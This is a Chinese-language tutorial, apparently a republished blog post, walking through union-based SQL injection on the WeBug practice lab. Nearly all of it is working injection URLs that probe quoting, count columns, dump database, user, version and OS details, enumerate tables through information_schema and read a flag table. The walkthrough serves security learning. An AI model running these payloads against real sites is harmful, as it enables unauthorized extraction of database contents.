SQL注入 -----(显错注入)
Posted 网络哨所
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入 -----(显错注入)相关的知识,希望对你有一定的参考价值。
环境:webug靶场
WeBug名称定义为“我们的漏洞”靶场环境基础环境是基于php/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。
————————————————
正常页面
首先 看到id=1的话,我们打开id=2,id=3观察下
通过对比
1、画红圈部分是根据ID不同得到的不同搜索结果
2、猜如果搜索不到则那个位置没有结果,如id=3
寻找注入点
报错注入的话,id=1,猜测下SQL语句是:
select * from table where id = $id+
接下来挨个试试单引号、双引号、括号以及他们的相互组合:
url?id=1) 无反应应该被注释掉了
url?id=1" 无反应
url?id=1' 报错
接下来根据上面的结论让我们构造下url看看有多少列
?id=1' order by 5 %23 错误页面
?id=1' order by 3 %23 错误页面
?id=1' order by 2 %23返回正常
之后用二分法最后测到查询结果为两列,然后我们看一下想要的数据在第几列
?id=1' union select 1,2 %23
第二列,接下来我们可以利用这个注入点获取我们想要的信息了
?id=1' union select 1,database() %23
查看数据库名字
?id=1' union select 1,database() %23
用户名
?id=1' union select 1,user() %23
数据库版本
?id=1' union select 1,version() %23
操作系统名字
?id=1' union select 1,@@version_compile_os %23
接下来,我们查看一下都有哪些数据库
?id=1' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23
确认当前查询的数据库
?id=1' union select 1,database() %23
确认当前数据库存在哪些表
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' %23
我们看见了有flag表,那么里面的内容是不是就是我们需要的?
查看flag表里面的字段
?id=1' union select 1,column_name from information_schema.columns where table_name='flag' %23
这里我们的目标就是flag所以我们直接查看flag里面的内容就不看id了
id=1' union select 1,flag from flag %23
输入flag
以上是关于SQL注入 -----(显错注入)的主要内容,如果未能解决你的问题,请参考以下文章